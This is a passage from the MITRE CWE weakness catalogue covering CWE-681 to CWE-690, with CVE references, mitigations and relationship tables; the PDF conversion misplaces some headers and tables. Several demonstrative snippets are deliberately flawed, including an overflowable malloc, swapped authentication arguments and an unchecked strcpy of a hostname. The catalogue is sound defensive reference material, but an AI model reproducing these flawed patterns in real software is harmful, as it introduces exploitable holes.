</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-4268</td>
<td>Chain: integer signedness passes signed comparison, leads to heap overflow</td>
</tr>
<tr>
<td>CVE-2007-4988</td>
<td>Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.</td>
</tr>
<tr>
<td>CVE-2008-3282</td>
<td>Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.</td>
</tr>
<tr>
<td>CVE-2009-0231</td>
<td>Integer truncation of length value leads to heap-based buffer overflow.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-681: Incorrect Conversion between Numeric Types

Potential Mitigations
Implementation
Avoid making conversion between numeric types. Always check for the allowed ranges.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>136</td>
<td>Type Errors</td>
<td>699  284</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>189</td>
<td>Numeric Errors</td>
<td>699  360</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>1000 1063</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>1000 1107</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>734 1135</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>739</td>
<td>CERT C Secure Coding Section 05 - Floating Point (FLP)</td>
<td>734 1135</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800 1247</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>848</td>
<td>CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)</td>
<td>844 1296</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900 1314</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868 1317</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>873</td>
<td>CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)</td>
<td>868 1317</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888 1397</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>192</td>
<td>Integer Coercion Error</td>
<td>1000 368</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>194</td>
<td>Unexpected Sign Extension</td>
<td>699  375</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
<td>699  377</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
<td>699  380</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>197</td>
<td>Numeric Truncation Error</td>
<td>699  381</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>FLP33-C</td>
<td>Convert integers to floating point for floating point operations</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FLP34-C</td>
<td>Ensure that floating point conversions are within range of the new type</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT15-C</td>
<td>Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT31-C</td>
<td>Ensure that integer conversions do not result in lost or misinterpreted data</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT35-C</td>
<td>Evaluate integer expressions in a larger size before comparing or assigning to that size</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>NUM12-J</td>
<td>Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT15-CPP</td>
<td>Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT31-CPP</td>
<td>Ensure that integer conversions do not result in lost or misinterpreted data</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT35-CPP</td>
<td>Evaluate integer expressions in a larger size before comparing or assigning to that size</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FLP33-CPP</td>
<td>Convert integers to floating point for floating point operations</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FLP34-CPP</td>
<td>Ensure that floating point conversions are within range of the new type</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

References

CWE-682: Incorrect Calculation

**Weakness ID:** 682 *(Weakness Class)*

**Status:** Draft

**Description**

**Summary**

The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

**Extended Description**

When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Availability**

**DoS: crash / exit / restart**

If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.

**Integrity**

**Confidentiality**

**Availability**

**DoS: crash / exit / restart**

**DoS: resource consumption (other)**

**Execute unauthorized code or commands**

If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).

**Access Control**

**Gain privileges / assume identity**

In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.

**Access Control**

**Bypass protection mechanism**

If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.

**Likelihood of Exploit**

High

**Detection Methods**
Manual Analysis

High
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:
The following image processing code allocates a table for images.

C Example:
```c
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:
This code attempts to calculate a football team's average number of yards gained per touchdown.

Java Example:
```java
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3:
This example attempts to calculate the position of the second byte of a pointer.

C Example:
```c
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms).

If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Potential Mitigations
Implementation
Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Implementation
Input Validation
Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Implementation
Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Architecture and Design
Language Selection
Libraries or Frameworks
Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Implementation
Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Testing
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing
Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
</table>
| CanPrecede   |      | 170| Improper Null Termination                 | 1000 | 328
| ChildOf      | C    | 189| Numeric Errors                            | 699  | 360
| ChildOf      | C    | 738| CERT C Secure Coding Section 04 - Integers (INT) | 734  | 1135
| ChildOf      | C    | 739| CERT C Secure Coding Section 05 - Floating Point (FLP) | 734  | 1135
| ChildOf      | C    | 752| 2009 Top 25 - Risky Resource Management   | 750  | 1145
| ChildOf      | C    | 872| CERT C++ Secure Coding Section 04 - Integers (INT) | 868  | 1317
| ChildOf      | C    | 873| CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP) | 868  | 1317
| ChildOf      | C    | 977| SFP Secondary Cluster: Design             | 888  | 1387
| ParentOf     |      | 128| Wrap-around Error                        | 699  | 256
| ParentOf     |      | 131| Incorrect Calculation of Buffer Size      | 699  | 269
| ParentOf     |      | 135| Incorrect Calculation of Multi-Byte String Length | 1000  | 282
| ParentOf     |      | 190| Integer Overflow or Wraparound           | 699  | 361
### CWE-683: Function Call With Incorrect Order of Arguments

**Weakness ID:** 683 (Weakness Variant)  
**Status:** Draft

#### Description

**Summary**

The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

**Extended Description**

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>FLP32-C</td>
<td>Prevent or detect domain and range errors in math functions</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FLP33-C</td>
<td>Convert integers to floating point for floating point operations</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT07-C</td>
<td>Use only explicitly signed or unsigned char type for numeric values</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT13-C</td>
<td>Use bitwise operators only on unsigned operands</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT07-C</td>
<td>Use only explicitly signed or unsigned char type for numeric values</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT10-C</td>
<td>Do not assume a positive remainder when using the % operator</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT13-C</td>
<td>Use bitwise operators only on unsigned operands</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FLP32-C</td>
<td>Prevent or detect domain and range errors in math functions</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FLP33-C</td>
<td>Convert integers to floating point for floating point operations</td>
</tr>
</tbody>
</table>

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>124</td>
<td>Shared Data Manipulation</td>
<td></td>
</tr>
<tr>
<td>128</td>
<td>Integer Attacks</td>
<td></td>
</tr>
<tr>
<td>129</td>
<td>Pointer Manipulation</td>
<td></td>
</tr>
</tbody>
</table>

#### References

2006.
While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

**Time of Introduction**

- Implementation

**Modes of Introduction**

This problem typically occurs when the programmer makes a typo, or copy and paste errors.

**Common Consequences**

- Other
- Quality degradation

**Demonstrative Examples**

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

**PHP Example:**

```php
function authenticate($username, $password) {
    // authenticate user
    ...
} authenticate($_POST['password'], $_POST['username']);
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-7049</td>
<td>Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Use the function, procedure, or routine as specified.

**Testing**

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

**Weakness Ordinalities**

Primary *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>699</td>
<td>979</td>
</tr>
<tr>
<td>ChildOf</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
<td>1397</td>
</tr>
</tbody>
</table>

**CWE-684: Incorrect Provision of Specified Functionality**

**Weakness ID:** 684 *(Weakness Base)* **Status:** Draft

**Description**

**Summary**

The code does not function according to its published specifications, potentially leading to incorrect usage.

**Extended Description**

When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

**Time of Introduction**
CWE-685: Function Call With Incorrect Number of Arguments

• Implementation

Common Consequences
Other
Quality degradation

Potential Mitigations
Implementation
Ensure that your code strictly conforms to specifications.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
<td>419</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>735</td>
<td>CERT C Secure Coding Section 01 - Preprocessor (PRE)</td>
<td>734</td>
<td>1133</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
<td>1414</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>392</td>
<td>Missing Report of Error Condition</td>
<td>1000</td>
<td>678</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>393</td>
<td>Return of Wrong Status Code</td>
<td>1000</td>
<td>679</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>440</td>
<td>Expected Behavior Violation</td>
<td>1000</td>
<td>754</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
<td>1000</td>
<td>761</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
<td>1000</td>
<td>765</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>PRE09-C</td>
<td>Do not replace secure functions with less secure functions</td>
</tr>
</tbody>
</table>

CWE-685: Function Call With Incorrect Number of Arguments

Weakness ID: 685 (Weakness Variant) Status: Draft

Description

Summary
The software calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C
• Perl

Modes of Introduction
This problem typically occurs when the programmer makes a typo, or copy and paste errors.

Common Consequences
Other
Quality degradation

Detection Methods
Other
While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.

Potential Mitigations
Testing
Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td></td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

CWE-686: Function Call With Incorrect Argument Type

Weakness ID: 686 (Weakness Variant) Status: Draft

Description

Summary
The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

Extended Description
This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

Time of Introduction
• Implementation

Common Consequences
Other
Quality degradation

Potential Mitigations
Testing
Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>736</td>
<td>CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>739</td>
<td>CERT C Secure Coding Section 05 - Floating Point (FLP)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td></td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-687: Function Call With Incorrectly Specified Argument Value

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>873</td>
<td>CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)</td>
<td>1317</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>1317</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>1397</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>DCL35-C</td>
<td>Do not invoke a function using a type that does not match the function definition</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO00-C</td>
<td>Take care when creating format strings</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FLP31-C</td>
<td>Do not call functions expecting real values with complex values</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS34-C</td>
<td>Do not call putenv() with a pointer to an automatic variable as the argument</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR37-C</td>
<td>Arguments to character handling functions must be representable as an unsigned char</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FLP31-CPP</td>
<td>Do not call functions expecting real values with complex values</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR37-CPP</td>
<td>Arguments to character handling functions must be representable as an unsigned char</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

### CWE-687: Function Call With Incorrectly Specified Argument Value

**Weakness ID:** 687 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**
The software calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.

**Time of Introduction**
- Implementation

**Common Consequences**

**Other**

**Quality degradation**

**Detection Methods**

**Manual Static Analysis**
This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

**Demonstrative Examples**
This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

**Perl Example:**

```perl
sub ReportAuth {
    my ($username, $result, $fatal) = @_; 
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") || $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc {
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

1070
CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID: 688 (Weakness Variant)  Status: Draft

Description

Summary
The software calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C
• Perl

Modes of Introduction
This problem typically occurs when the programmer makes a typo, or copy and paste errors.

Common Consequences
Other
Quality degradation

Detection Methods
Other
While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples
In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

**Java Example:**

```java
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2548</td>
<td>Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Testing**
Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

**Weakness Ordinalities**

**Primary (where the weakness exists independent of other weaknesses)**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
</tbody>
</table>

**CWE-689: Permission Race Condition During Resource Copy**

**Compound Element ID: 689 (Compound Element Base: Composite)**

**Description**

**Summary**
The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C
- Perl

**Modes of Introduction**
Common examples occur in file archive extraction, in which the product begins the extraction with insecure default permissions, then only sets the final permissions (as specified in the archive) once the copy is complete. The larger the archive, the larger the timing window for the race condition. This weakness has also occurred in some operating system utilities that perform copies of deeply nested directories containing a large number of files.

This weakness can occur in any type of functionality that involves copying objects or resources in a multi-user environment, including at the application level. For example, a document management
system might allow a user to copy a private document, but if it does not set the new copy to be private as soon as the copy begins, then other users might be able to view the document while the copy is still taking place.

Common Consequences
Confidentiality
Integrity

Read application data
Modify application data

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0760</td>
<td>Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified.</td>
</tr>
<tr>
<td>CVE-2003-0265</td>
<td>Database product creates files world-writable before initializing the setuid bits, leading to modification of executables.</td>
</tr>
<tr>
<td>CVE-2005-2174</td>
<td>Product inserts a new object into database before setting the object's permissions, introducing a race condition.</td>
</tr>
<tr>
<td>CVE-2005-2475</td>
<td>Archive permissions issue using hard link. Error file has weak permissions before a chmod is performed.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities
Primary *(where the weakness exists independent of other weaknesses)*

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>275</td>
<td>Permission Issues</td>
<td>699</td>
<td>489</td>
</tr>
<tr>
<td>Requires</td>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>1000</td>
<td>628</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>1000</td>
<td>1124</td>
</tr>
<tr>
<td>Requires</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>1000</td>
<td>1124</td>
</tr>
</tbody>
</table>

Research Gaps
Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
</tr>
<tr>
<td>27</td>
<td>Leveraging Race Conditions via Symbolic Links</td>
</tr>
</tbody>
</table>

References

CWE-690: Unchecked Return Value to NULL Pointer Dereference

<table>
<thead>
<tr>
<th>Compound Element ID: 690 <em>(Compound Element Base: Chain)</em></th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description
Summary
The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

Extended Description
While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

Applicable Platforms

Languages
• C
Modes of Introduction
A typical occurrence of this weakness occurs when an application includes user-controlled input to a `malloc()` call. The related code might be correct with respect to preventing buffer overflows, but if a large value is provided, the `malloc()` will fail due to insufficient memory. This problem also frequently occurs when a parsing routine expects that certain elements will always be present. If malformed input is provided, the parser might return NULL. For example, `strtok()` can return NULL.

Common Consequences
Availability
DoS: crash / exit / restart

Detection Methods
Black Box
This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

White Box
Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

Demonstrative Examples
Example 1:
The code below makes a call to the `getUserName()` function but doesn’t check the return value before dereferencing (which may cause a `NullPointerException`).

Java Example:
```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
    ...
}
```

Example 2:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:
```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

